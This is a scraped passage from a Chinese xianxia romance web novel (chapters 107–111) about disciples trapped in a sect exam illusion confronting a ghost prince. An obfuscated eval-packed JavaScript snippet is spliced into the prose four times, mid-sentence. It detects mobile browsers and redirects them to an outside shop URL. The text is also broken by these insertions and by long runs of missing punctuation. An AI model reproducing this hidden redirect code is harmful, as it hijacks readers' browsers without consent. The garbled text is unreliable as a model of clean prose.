宋玄机钳制着他的下巴,迫使他张开嘴,还不许他动,贺兰熹只好闭上了眼。 好吧好吧,亲吧亲吧,谁让我喜欢你亲我呢,贺兰熹无奈地想。 两人的身体几乎贴在了一起,身上一丝一毫的变化均逃 不过对方的眼睛。贺兰熹感觉到某个熟悉的东西,不禁又是一愣。 宋玄机看他哭会硬他还能理解,怎么看他杀人也……? 哭和杀人,这完全是两个相反的极端吧? 等宋玄机终于放开了他,宋玄机的脸上蹭到了血迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340259|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,雪白的衣袍也弄脏了。面对贺兰熹被亲得亮晶晶的眼神,他只有云淡风轻的一句:“做得不错。 见宋玄机一副若无其事的样子,贺兰熹不肯放过他:“为什么突然亲我? 宋玄机语气平静:“想亲便亲了,要何理由。 贺兰熹腹诽:哦,现在又冷淡了下来是吧,也不知道刚才几乎要失控的人究竟是谁。 贺兰熹:“那你又为什么会硬? 宋玄机瞥他一眼,仿佛在说“问的是什么废话:“想睡你就会硬。 贺兰熹张了张嘴,惊觉自己无可反驳:“哦…… 宋玄机环顾四周:“此地不宜久留。 贺兰熹一脸为难:“你晚点再睡我行不行?现在毕竟是在考核。 宋玄机:“先回大淮。 贺兰熹:“等考完我们就可以回家过年了,到时候能睡好多次。 宋玄机:“抓好我。 贺兰熹:“好,抓好你! 贺兰熹抓住宋玄机的手,宋玄机“缩地成寸四字还没说出口,四周的景象陡然发生了变化。 血海,尸堆,散落一地的法器,皇宫的断壁残垣全部消失了。他们踩在浅浅的草地上,空气里是清新的味道,眼前一道宫门耸立,匾额上刻有“六国 ——这是他们最开始进入《六国》考核的入口。 怎么回事,他们是回到了最初的考场吗?可是《六国》的考核还没有结束啊。 天幕上,贺兰熹的名字已经回到了金榜榜首。 第一名:无情道院,贺兰时雨 第二名:无情道院,宋玄机 第三名:无情道院,祝如霜 第四名:合欢道院,白观宁 第五名:律理道院,陆执理 第六名:混天道院,长孙经略 …… 一股不详的异样在心里升了起来,贺兰熹奇怪道:“我们还没统一六国, 幻境怎么就破了呢?” 不仅如此,金榜的排名前还出现了“最终”二字。只有在考核彻底结束的时候,金榜的排名才会是最终排名,而他们的考核明明才开始没多久。 总是能解答贺兰熹疑惑的宋玄机此时竟是眉间微蹙,摇头道:“不知。” 贺兰熹猜测:“难道这也是考核的一环?” 宋玄机沉吟良晌,道:“给祝云传音。” “传音?可在综合考核中,弟子之间是无法使用传音的……”贺兰熹说到一半,忽然明白了宋玄机的用意,立即掏出传音符联系祝如霜。 “时雨?”祝如霜的声音十分惊讶,“你是如何……” 形势紧迫,贺兰熹来不及解释:“祝云,你那边情况如何?” 祝如霜立刻意识到了不对,语速飞快:“我和经略正在参加《禁闭之村》的考核,才进行到一半,幻境突然消失了,我们也被踢了出来——你们是不是和我们一样?” “这啥玩意儿,好大一只!”长孙策颇有辨识度的声音响了起来,“你们看到了吗?” 贺兰熹微微怔了怔,和宋玄机对视一眼。 不知何时他们脚下多了一团巨大的影子,从他们身后扑来,在大地上不断生长蔓延。 两人同时转身,只见考场中心的地面已被冲破,一座神像正从地底缓缓升起。 他们脚下的,正是那座庞大神像的影子。 ——那是律理道院初任院长,明法仙君的神像。 作者有话要说 二更来啦! 明天要去医院做一个很重要的复查就不更新啦=3= 第 108 章 我真的没有签什么... 第108章我真的没有签什么. 贺兰熹已经知道了明法仙君的神像是整个综合考场灵力的来源,却无法解释神像为何会突然出现在考场的中心。 神像的出现是不是就是导致考核中断的原因? 事出突然,贺兰熹都忘了自己浑身是血,拉着宋玄机往神像的方向赶,最后还是宋玄机给他用了一个净身术。 明法仙君得道飞升后,掌人间法理,守契约之则。他的神像宛若“天道”二字的化身,屹立于天地之间,面容威严,体态神圣。站在神座脚下,抬头仰望难见尽头,不禁感自身之渺小,叹天道之恢弘。 越来越多的弟子朝神像的方位涌来,贺兰熹成功和祝如霜白观宁等人汇合。可每个人都是一头雾水,百余人凑一起也是百头雾水。 某律理道:“我们初任院长的神像怎会突然出现?出什么事了?” 某合欢道:“明法仙君原来长这样……如此高洁神圣,不愧是法理之神。” 某逍遥道:“考核是不是结束了?我们可以回仙舍睡觉了吗?” 某混天道:“说出了怕吓着你!我刚刚把能想到的办法都试了一遍,我们现在根本出不去!” 某灵植道:“你的意思是,我们全被困在考场里了?” 某万兽道:“救命!我的灵兽跑丢了,有没有人看见他?” 某太善道:“大家别急也别挤,先听全宗第一怎么说!” “全宗第一”四个字犹如一道禁言术,一百多个人同时安静了下来,不约而同地朝贺兰熹投来了目光,全过程大约只用了一句话的时间。 贺兰熹没反应过来就成为了众人的焦点,不禁纳闷大家是怎么在人群中一下子找到他的。 去年宋玄机考全宗第一的时候也没担这么大的责任,怎么轮到他第一了全届的道友都来指望他了呢。 那个说出“全宗第一”的太善道弟子走上前,问:“贺兰道友,你知道发生了什么吗?” 贺兰熹定了定神,道:“你们有没有发现,我们现在可以使用传音符了?” 白观宁闻言,黏在金榜上的视线总算移开了。他看着贺兰熹道:“怎么可能?为了防止作弊,考核中都是禁止使用传音符的。” 祝如霜道:“时雨是想说,我们很可能已经结束了考核,回到了现世。” “可能吗?”萧问鹤观察着四周的景象道,“我们明明还在考场里啊。” 宋玄机:“契约。” 长孙策:“啥契约?” 贺兰熹:“玄机是想说,明法仙君的神像就在这里,我们可以利用契约的作用范围判断我们究竟是回到了现世,还是仍旧处于考核中。” 不知情的围观弟子:无情道三美话的确比以前多多了,但怎么还需要互相转述彼此的话了? “我明白了。”白观宁打了个响指,转向人群,问:“诸位,有人身上背着仅限于现世的契约吗?” 贺兰熹张了张嘴,脸毫无预兆地红了:“我没有……”他小心翼翼地不敢和宋玄机对视,语气虚弱:“我真的没有签什么奇怪的契约。” 宋玄机:“。” 众人:“?” “时雨!”陆执理艰难地从人群外围挤了进来,“我有!” “‘时雨’?”白观宁冲陆执理抬了抬下巴,“呵,这半日不到的功夫,你又给自己弄了一个新朋友?” “什么?”心不在焉的贺兰熹怔了怔,对上陆执理期待的眼神,弯唇一笑:“对啊!” 陆执理颇为羞涩地笑了笑。 白观宁挣扎了一会儿,道:“罢了,无所谓。”他义弟的位置独一无二,不可能被取代。地位受到威胁的应该是贺兰时雨好友中排行第四的萧问鹤,而不是他。 陆执理找到自己同仙舍的道友,当着对方的面骂了句“你是猪”。他刚骂完,一盆凉水骤然从天而降,把他浇得狗血淋头。 “时雨的猜测没错,”陆执理一边施法弄干自己的头发和衣服,一边道:“我们的确回到了现世。” “我看不一定吧。”长孙策怀疑地说,“我们也没瞧见现世中的其他人啊。” 考核出了这么严重的意外,所有的考生都被困在了考场里,诸位长老和院长怎么可能一点反应都没有。 祝如霜有种不好的预感:“难道不仅是我们出不去,院长们其实也进不来?” 祝如霜这么一说,萧问鹤登时起了一身鸡皮疙瘩:“不、不可能吧?把院长们挡在外面……普天之下,谁能做到这点 ?” 贺兰熹和祝如霜四目相对两人脑海中划过同样的四个字:鬼界殿下。 在鬼界排名第七和第三的殿下还在逍遥法外。这其中会不会有他们的手笔? 若真如此鬼殿下们的胆子未必太大了些。 利用综合考核将一百多个太华宗弟子困在一起他们当太华宗的院长是吃白饭的么。 祝如霜沉声道:“据说排名后五和前七之间的鬼界殿下实力差距极大恐怕……” “那又如何?反正我是一点不担心。”长孙策坚信“师尊一定会来救我。” 白观宁毫不犹豫:“我师尊也是。” 萧问鹤及陆执理:“还有我师尊!” 三个无情道:“。” “你们的沉默是什么意思”白观宁道“江院长好歹是为我哥打过架的人他肯定也不会袖手旁观的。” 贺兰熹如梦初醒白观宁不说他都差点忘了:“对哦我师尊可是为我打过架的!” 当年他被无情道院选中绯月真君欲逆天改命将他抢到合欢道院。 绯月真君本来觉得像江隐舟那般凉薄无情的人并不会在乎一个弟子的得失怎料江隐舟毫无放手之意。为此两位真君还打了一架。 “贺兰熹是我的弟子。”江隐舟对宋流纾说了有史以来的第一句长句“死生同命无可更改。” “小白说的没错”贺兰熹笑了起来“江院长可能也会来呢。” 众人没有坐着干等每个人都在竭尽所能地想办法脱困无奈皆是徒劳灵力倒消耗了不少。 一直待在神像脚下也不是办法。贺兰熹等人暂时离开了大部队尝试在广袤无边的考场上寻找新的出路。 所有考题的入口均被封死除了本届的考生见不到其他的人影时间和空间仿佛被定格在了这一刻。 贺兰熹逐渐开始怀疑自己先前的推论。长孙策说的有道理如果他们回到了现世那其他人又在哪里呢? 难道幕后黑手将整个考场搬进了现世又将考场封锁了起来? 走在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340260|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺兰熹身边的宋玄机忽然放慢了脚步:“还有一种可能。” 贺兰熹忙扯着宋玄机的衣袖道:“你说你说 宋玄机刚要开口七人前方的地面忽然开出了一地淡粉色的花。再定睛一看原来是一个传送的阵法。 阵法中一个熟悉的身影渐渐变得清晰——一身绯色头戴金簪流苏眼尾狭长上挑面容明艳动人不是绯月真君又是谁。 白观宁双眼倏地亮了起来:“师尊!” 绯月真君笑吟吟地应了一声。 白观宁:“我就知道没人能拦得住您!” 贺兰熹:“……” 好吧又是别人家的师尊先到。 贺兰熹眼巴巴地看着朝绯月真君跑去的白观宁转念一想这不是我小叔吗?我也可以叫人啊。 “宋院长!”贺兰熹跟在白观宁身后“您来啦!” 绯月真君的目光从小辈们身上一一掠过语气一如既往的轻松愉悦:“你们的队伍还真是越来越长了。” 长孙策朝绯月真君的身后望去没看到自家院长的人影问:“宋院长无咎真君呢?” 绯月真君:“有个好消息和一个坏消息你们想听哪个?” 宋玄机:“一起听。” “好消息是本座想带你们出去并不难。”绯月真君摊了摊手“坏消息是我们或许中了调虎离山之计——鬼三殿下在常山奉天蓟城等北方重地兴风作浪眼下江隐舟东方既明和孟北骁都不在太华宗。” 陆执理一惊:“这么说现在四大院长中只剩下您能保护我们了?” 绯月真君扬了扬眉:“怎么本座一人还不够么。” 陆执理想到不久前在考核中看到的契约讪讪地闭上了嘴。 “现在我需要知道你们在考场里经历了什么。”绯月真君像在讲堂上点名似的“时雨你来说?” 贺兰熹将众人的所见所闻悉数告知绯月真君并附带了他们的推测:“……我觉得我们所在的考场已经不是幻境了但宋玄机似乎有不同的看法。” 绯月真君沉吟片刻转向宋玄机:“玄机?” “考场仍是幻境 绯月真君:“嗯?我签下的契约?” 贺兰熹立刻心领神会:“‘宋流纾不可和沈絮之说任 何与考核无关的话’。” 宋玄机继续帮亲叔叔回忆:“‘两人非必要不见面’。” 绯月真君眼眸微眯:“……?” 作者有话要说 啦啦啦复查结果很好我又过一关啦本章200个红包庆祝嘿嘿=3= 小剧场—— 大结局后的某日时雨和玄机外出任务遭遇意外暂时变成了两个刚会说话的小宝宝。 最先发现此事的浣尘肩负起师尊的职责 但小时雨的话真的太多了每日不但要缠着安安静静的小玄机陪他说话还要磕磕绊绊地给师尊讲好多毫无逻辑的故事。 浣尘一拖二实在遭不住被逼无奈来到了合欢道院。 于是绯月一打开门就看到浣尘左手抱着这样的(^O^)小时雨右手抱着这样的(==)小玄机神色冷漠。 绯月:“这……我小侄子和小侄媳?” 浣尘:“嗯你选一个带。” 你的朋友正在书荒,快去帮帮他吧 第 109 章 混乱与无序【作话... 第109章混乱与无序【作话. 话至此处,绯月真君似乎想起了自己当年在考核中签下的四人契约,昳丽的脸上终于出现了一丝沉思之色。 “您还记得违背这份契约的代价是什么吗?”贺兰熹同情地问,“我们之前没有在契约上看到这项。” 一份完整的契约需要写明时间地点,也要说清楚若是违反契约当事人即将付出的代价。 比如他和宋玄机间的契约“双修前戏不可少,违者罚银八千两”,八千两便是不做前戏的代价。 陆执理也觉得奇怪:“没有代价的契约无法成立,也无法得到明法仙君的认可。我看着当年那份契约的代价像是……被抹去了?” “这个么,恐怕要让你们失望了。”绯月真君露出为难的神色,“本座好像忘记了。” 众人:“……!” “您怎么能忘记呢?”贺兰熹一着急,口吻不自觉地带上了一丝谴责的意味:“您难道看不出来吗?这件事说不定就是冲你们四位院长去的!” 策划此事的幕后黑手显然筹谋已久,一边以鬼三殿下之名拖住了江院长等人,让四大院长中的三位暂时无法回到太华宗;一边趁弟子参加综合考核的机会将所有人都困在了虚实难辨的幻境里。 如此大费周章,总不能是因为痛恨考核所以要拉着考生一起毁灭吧。 幕后黑手不知道用了何种方法使掌管天理的明法神像将幻境中的契约视为在现世同样生效,他们的目的或许正是沈,江,王,宋四位院长。 ——江隐舟务必确保大家的安全,让每一个人都能活下来。 浣尘真君魂体分离十八年,从阴阳律理的角度上他早就不能算活在人间。那么江院长是否会被判定违背了四人的契约,天理会不会对他降下神罚? “看出来了。”绯月真君拍拍贺兰熹的肩膀,安抚他:“时雨别急,我不记得没关系,王昭权一定会记得。” “绯月真君所言极是,”陆执理昂首挺胸,丝毫不慌:“我们院长能记住世间的每一个契约!” 宋玄机:“?” 贺兰熹一愣:“?!”这……陆执理一定是在夸大事实。 绯月真君漫不经心道:“现下王昭 权就在考场外准备接应,届时问问他便知晓了。好了,绯月真君望向明法神像的方向,“本座先送你们离开这里吧。 “师尊,我不想走,白观宁毫不犹豫地说,“我要留下来帮您。 绯月真君笑道:“你的好意为师心领了,但这是大人们的事情。 “‘大人’是什么离谱的说法。贺兰熹皱了皱鼻子,“上回您还说我们已经不是孩子了。 “你和玄机不是孩子,但其他人还是。绯月真君半真半假地说,“本座判断你们有没有长大,能不能留下来的方法是看…… 贺兰熹心里一个咯噔:“好了我知道了您不要再说了! “——是看你们有没有考进前三,即看你们的实力。绯月真君微哂道,“你以为本座要说什么呢,时雨? 贺兰熹:“…… 宋玄机:“万幸。 说全网首发无弹窗免费阅读qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 绯月真君:“‘万幸’? 宋玄机:“万幸您看实力。否则若照贺兰熹所想,您该‘返老还童’了。 绯月真君:“………… 绯月真君的脸微妙地凝固了。贺兰熹默默转过身,拼命憋笑。 因为考核被中断只能暂居第四的白观宁愈发坚定了要留在考场的决心:“考核没有结束,鹿死谁手尚不可知。师尊,您有办法重新开启考核吗? 长孙策看白观宁的眼神比看鬼殿下的时候更骇人:“这都什么时候了,你居然还想着考核?! “当然,白观宁信念十足,“综合考核本质是通过幻境模拟出真实情况考验我们的能力,真实发生的事,才是最能体现能力的考核。 绯月真君想了想,问其他人:“你们怎么说? 长孙策:“混天道人不认识‘临阵脱逃’四字! 陆执理和萧问鹤:“愿助真君一臂之力。 这些人均是名列前茅的佼佼者,如遇困境定然能自保。 “既然如此,你们最好跟紧了。绯月真君俯身摘下一片花瓣,轻轻一吹。花瓣朝天幕飞去,划出一道粉色的光束,金榜上的排名再次流动起来。 贺兰熹等人跟着绯月真君重新回到神像脚下,其他弟子见到绯月真君纷纷长舒一口气。 绯月真君让弟子 自己选择留下与否选择终止考核的弟子被传送阵送了出去。混天道合欢道及无情道的弟子全部留了下来逍遥道的人则走了个七七八八。 “接下来我们来查查这里究竟有什么猫腻。”绯月真君望着那直入云霄的明法神像又端起了上课时的架势:“有人有想法吗?” 众人你看看我我看看你全场寂然。 绯月真君:“回答正确者本座奖励他十个铜币。” 祝如霜:“太华宗戒备森严鬼界想混入太华宗绝非易事更别说在这么多院长的眼皮底子下在考核幻境中动手脚了。” 宋玄机:“混淆明法律理非一朝一夕之事。” 贺兰熹:“在考核幻境中待了很久却没有被任何人发现那只有一种可能了。” 宋玄机:“此人从未离开过幻境。” 贺兰熹:“明法神像被污染后所有人都以为被神像封印的鬼七殿下和他的弟弟们一样早已逃之夭夭不知所踪。殊不知 祝如霜:“鬼十一殿下暴食弑母鬼九殿下以情欲为食鬼七殿下力量的来源应该是……” 贺兰熹:“律理和秩序的反面混乱与无序。” 宋玄机:“《六国》。” 贺兰熹:“《六国》就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408526|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是鬼七殿下最好的‘食物’。他藏身在《六国》的幻境中看到了几位院长当年留下的契约便竭尽所能地扭曲律理法则就是为了院长们在不知情的情况下违背契约遭受天罚。” 无情道三人组至此完全掌控了场面旁人一句话都插不进去。 绯月真君面露赞许之色问:“还有人要补充吗——观宁?” 白观宁:“……弟子没有。”罢了明年再战。 “要是真像无情道三美说的那样……”长孙策压低声音生怕被人听见似的:“鬼七殿下现在应该还在考场里?” 贺兰熹点了点头缓声道:“我想我可能已经见过他了。” 绯月真君恢复了考场的秩序各项考核的入口再度开放。 《六国》的幻境中徐国皇宫依旧维持着考核中断前的景象。 武器散落一地鲜血蜿蜒成河尸体横七竖八地堆积 如山。 孝鸟高鸣,人间炼狱。 谁能想到,半日灭一城的只是一个未及弱冠的少年。 昔日不可一世的帝王眼眶炸开,头浆崩裂,被掩埋于废墟之下,死状甚至不如一条狗。 一双脚在他的尸体旁停了下来,那人穿着徐国的官服,似乎是这场亡国灾难中唯一的幸存者。 “‘神器有灵,择神明而相助’……”男人脸上闪过一丝狰狞的狠绝,“江隐舟和宋流纾等人或许能活,但你,一定要死。” 男人伸出一只手,对准皇帝的尸体掌心向下。尸体化成一缕一缕暗红色的烟雾,朝他的掌心汇聚而去。 “‘宋流纾不可和沈絮之说任何与考核无关的话,两人非必要不见面’。”男人双脚踩过血河,口中倒背如流:“‘江隐舟务必确保大家的安全,让每一个人都能活下来’……” 听到从身后传来的脚步声,男人转过身,嘴角一点一点地咧开,露出两排海兽般的尖齿:“违者,死。” 在考核幻境中,死不过是意味着被踢出幻境而已。 可当虚实相混,天理蒙尘之际,死,即是死。 作者有话要说 来啦,差不多要进入最后的篇章了,我争取九月份正文完结! 接上章小剧场: 小时雨和小玄机二选一,绯月毫不犹豫选择了前者——宋玄机小的时候父母很忙,绯月这个当叔叔的没少带崽,他早就受够了宋玄机的冷脸冷语。 绯月和小时雨相处得十分愉快。然而没过多久,小时雨的脸就从(^O^)变成了(TOT) “宋、浔……我想要宋浔……”小时雨双手抹泪,口齿不清地哽咽:“可、可以吗,小、小叔抱我去……抱?” 于是,绯月抱着小时雨,“被逼无奈”地来到无情道院,敲开了浣尘的房门,结果刚好把试图爬窗溜到合欢道院找小时雨的小玄机抓了现行。 绯月:“看来这两个必须放一起养才行啊。沈院长你对此有什么想法吗?” 浣尘:“。” 第 110 章 日后,沈絮之和孩... 第110章日后,沈絮之和孩 长孙策本来还对自己金榜第六的排名有些不甘,他不明白成日里只惦记着写契约的陆执理是怎么跑到自己前面的。如今,他亲眼瞧见了《六国》中的壮观景象,不由心服口服:“这是你们三人做的?活该你们拿铜币。” 陆执理忙道:“不不不,我之前没来过徐国,应该是宋道友和时雨一起屠的城。” 宋玄机道:“与我无关。” “与你无关?”长孙策意识到了什么,猛地看向贺兰熹,眼睛瞪得老大,颤声道:“他还是人吗……” 宋流纾拖长的衣摆划过一条条血河,少年们震撼的惊叹伴随着血腥味从身后飘来。 当年他和沈絮之联手,徐国的惨状亦不及现在的二分之一。 长孙策的问题他也想问。贺兰时雨,究竟是不是人。 而今能回答这个问题的普天之下只有一人。 “故地重游了,”宋流纾扫了眼被自己握在掌心的无处相思,轻声道:“沈絮之。” 绯月真君对着本命剑说话的一幕落在贺兰熹眼中,刚巧提醒了他一件事:“对了小叔,你之前说要去查浣尘真君在我生辰那天去了哪里,做了什么。您查到了吗?” “查到了。那日,沈絮之他……”绯月真君话说到一半戛然而止。他停下脚步,望着尸海中站立的身影,眉际细微一扬:“呵,竟躲也懒得躲么。” 贺兰熹一听,连忙从绯月真君身后探出了一个脑袋:“果然是你!” 那个在他入宫前看出他有两把佩剑并逼他全部交出的徐国官吏就是鬼界的七殿下——阎狴。 远高于下位鬼殿下的实力是阎狴敢于直面当今合欢道第一人的资本。正如绯月真君所言,阎狴知道他们迟早会找上门,不但躲都懒得躲,甚至特意站在原地等他们,兴致盎然,神色乖张,俨然一副收网者的看戏姿态。 阎狴是鬼界中混沌和无序的化身,露出真正面目的鬼界七殿下仿佛一个离经叛道的少年,眼中闪烁着疯狂的光芒,两排尖齿如同野兽的獠牙:“躲?躲哪去?在人间和老十三一样靠着梦苟且偷生,还是回鬼界被北洛像条畜生一样管着?” 贺兰熹:“绯月真君是问你怎么不 在幻境里躲起来你误会他的问题了鬼七。” 宋玄机:“……贺兰熹。” 贺兰熹:“怎么?” 宋玄机:“倒不必每个人都和他们好好说话。” 贺兰熹:“啊那我习惯了怎么办。” 宋玄机:“那便继续说。 贺兰熹:“哎?” 阎狴望着贺兰熹眼中光芒更甚。他很难把站在宋玄机身边的贺兰熹和不久前大杀四方的少年联系在一起。感情如此之好其中一人要是死了另一人该有多伤心啊。 鬼界还从来没见过无情道伤心欲绝的样子呢。 阎狴因兴奋而放大的眼珠几乎要从他的眼眶爆出。 快来吧他要等不及了。 只可惜每一出即将上场的好戏前都需要清一清场他需要先把眼前的麻烦解决了。 阎狴一脚踢开挡路的尸体一团无规则的混沌悬浮在他掌心之上 绯月真君笑眯眯道:“真难得这还是个不爱说废话的鬼殿下呢。时雨你确实该向人家学学。” 贺兰熹气愤地指责:“小叔你每次说不过宋浔就跑来说我真的太过分了。” “三界本无序众生皆混沌。”阎狴牙尖泛着寒光好似一把嗜血的弯刀:“——幻昼。” “昼”字落地阎狴掌心的混沌骤然炸开眨眼间席卷天地。 幻昼降临前的最后一刻贺兰熹听见了绯月真君的声音:“新的考题来了:如何应对鬼七殿下的【幻昼】?” 幻昼中白观宁看到满地的尸体似乎动了起来仔细一看尸体又似乎没动; 散发着腥臭味的血河变成了清甜的甘泉长孙策突然很想尝一尝走近才发现那是一锅炖着血肉的浓汤; 陆执理转头想和萧问鹤说话看到的却是一张空白的脸。他下意识地拔剑萧问鹤的声音又在他耳边响了起来:“你要干嘛?!” 他们好像还在六国的幻境里又好像已经进入了另一个或熟悉或陌生的世界。 无处不在蠕动的黑线毫无规律可循。 不确定一切都是那么的不确定。 贺兰熹紧紧握着一只微凉的手:“宋浔我们怎么出……” 最后一个字牢牢卡在贺兰熹喉咙里,死活出不来。 他牵着的人不是宋浔,而是他这辈子最敬畏的……江院长。 贺兰熹倒吸一口冷气,瞬间遍体生凉:“这招也太歹毒了吧!” 贺兰熹刚要松开手,手却被对方以不容拒绝的力度握得更紧。他有些犹豫了,他牵着的人到底是谁? 他的犹豫直到他感觉到了忘川三途的剑鸣之声。 是宋玄机,在他身边的一直是宋玄机! 贺兰熹的眼神变得无比清明。揽八荒,铜雀邀,睹青天……他在无边的混沌中精准地找到了每一位法器的方位。 “——去!” 被贺兰熹抛出的载星月一分为二,二分为四,四分为八……一道道剑影朝着指定的方向飞出,散发出的冰蓝色幽光笼罩在太华宗的弟子上,温柔地为他们将幻昼驱散。 宋玄机在贺兰熹身边冷静地扬起忘川三途,欲凭一己之力强行破开幻昼:“你再不出手,我唯有强破。误伤道友,概不负责。” 忘川三途未落,杂乱不堪的空间里忽然亮起了一抹妖异的绯色月光。 “干得不错,”头戴金簪流苏的华贵美人站在月光之中,犹如在黑夜中撕开了一个裂口:“贺兰时雨加三百枚铜币。” “你们可快别加了吧!”被混沌折腾得够呛的长孙策从来没有对综合考核这般深恶痛绝过,“贺兰熹的全宗第一早稳了!” 更多的月光从裂口中挤了进来,一缕两缕自绯月真君脚下朝远方蔓延,形成了一个极为复杂的阵法。 无序的世界在月光的扩散下逐渐有了新的规则。混沌的空间越来越小,眼看就要所剩无几,阎狴的声音再次响起。 “你们把我当什么了?”阎狴好似已经和混沌融为了一体,他们能听到阎狴的声音却看不见他的身体:“考题?” “你是被我们时雨感染了么?废话问题也问。”绯月真君向前一步,注视着那团混乱的空间:“你和你的兄弟们,从始至终,都不过是太华宗的考题而已。” 混沌突然有了规则的形状,像极了阎狴的笑容:“我们这些考题,考死了你们不少人吧,包括你的师祖,也包括你的……该怎么说呢,你的道侣?” 绯月真君嗤笑一声:“承你吉 言他要是哪天真成为了我的道侣欢迎你来讨杯喜酒。当然前提是你还存在。” 贺兰熹心想绯月真君还好意思说他废话多明明他自己废话也不少。 好在绯月真君的废话没有耽误他出剑的速度。无处相思直冲混沌而去阎狴混沌的化身居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408527|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然纹丝未动。 忽然一双鬼手从混沌中伸了出去不顾被捅穿的危险紧紧缠住了无处相思的剑身硬生生扒开了无处相思的剑灵。 贺兰熹心中陡然一惊。 阎狴的目标不是绯月真君而是绯月真君手中的无处相思。 阎狴怎么会知道无处相思剑灵里藏着……他没有理由知道啊! 贺兰熹来不及多想立即命令无处相思关闭剑灵无奈为时已晚。 一袭红衣盛装的青年自剑灵而出他双眼闭合沐浴在月光中的面容如琉璃般清澈发间的金簪流苏在空中划过两道炫目的痕迹。 陆执理愣愣道:“这是……谁?宋夫人吗?” 绯月真君眼眸微沉转身腾空在一片翻飞的红衣中将跌落的青年稳稳地横抱在怀中。 贺兰熹大喊:“小叔快闭眼你不能看沈院长!你们不能见面!” 绯月真君垂眸看着怀里毫无生机双手自然垂落的青年 滴答。 一滴鲜血落在浣尘真君白皙的眉心宛如一点缓缓绽放的相思红。 这一刻沉睡多年的青年像是快要苏醒了一般连眼睫都微微颤了起来。可惜这只是月光和血色带来的错觉。 代价……违背契约的代价到底是什么? 死吗? 滴答滴答滴答越来越多的血落在了浣尘真君身上。绯月真君终于支撑不住一手撑着无处相思另一手抱着浣尘真君无力地跪坐了下来。 白观宁:“师尊!” 贺兰熹:“小叔!” 祝如霜:“宋院长!” 所有弟子都冲到了绯月真君身边只有宋玄机站在原地。他面无表情地瞥了眼亲叔叔吐血不止的画面将注意力放在了始作俑者的身上。 “规则契约”阎狴发出一声不屑的嘲弄“明法创造出的一切不过是我的玩物罢了 。” 宋玄机:“你被明法封印了两千年。” 不断运动的混沌蓦地停滞片刻寒声道:“我不和你废话你只要让我看看现在的你还剩多少本事。” 宋玄机举起忘川三途:“可以。” 阎狴低吼一声混沌正要暴起一本厚重的律理法典忽地从天而降有如泰山压顶砰地一声压扁了来不及躲避的混沌。 一名身着藏蓝色道袍的青年站在法典上快速环顾四周一脸严肃地问:“发生什么事了?宋流纾这是怎么了?” “师尊!”陆执理大喜过望“我师尊来了!” “司契真君!”白观宁的声音里带上了哭腔“劳烦您快来看看我师尊他违背了你们当年的四人契约正在遭受神罚!” 司契真君:“……神罚?” “昭权?”绯月真君虚弱地说“我怕是不行了……明法神罚果然不同凡响。” 贺兰熹也急得不行他都快要和白观宁抱头痛哭了冷不丁一个眼尖余光瞥见绯月真君的手习惯性地在浣尘真君的腰间摸了两下。 贺兰熹:“。” 有王昭权在宋流纾总算可以安心了。他闭了闭眼喃喃道:“日后沈絮之和孩子们便拜托你照顾了。” “宋流纾你玩够了没!”莫名其妙被托孤的司契真君忍无可忍地吼出了声。这一刻堂堂律理道院长愣是被宋流纾精湛的演技带回到少年时期气急败坏的神态和当年一模一样:“你能不能别装了!你和沈絮之的契约不是早改了吗?” 作者有话要说 来啦! 九月完结可能是九月中下旬啊宝宝们还有BOSS要打小情侣也要结婚呢 第 111 章 他总觉得他和浣尘... 第111章他总觉得他和浣尘. 白观宁面具外的半边脸上出现了短暂的空白,贺兰熹默默地把眼泪收了回去,甚至有点想把浣尘真君的肉身从绯月真君怀里抢走。 他早该想到的。之前鬼十一以自身为代价诅咒绯月真君,绯月真君尚能自闭灵识全身而退。若是鬼七的诡计真能对绯月真君造成伤害,绯月真君一定会有所准备,怎么可能让鬼七如愿以偿。 绯月真君这一出把小辈们吓得一愣一愣。陆执理反应还算快的:“您是说,二位院长修改了契约的代价?” 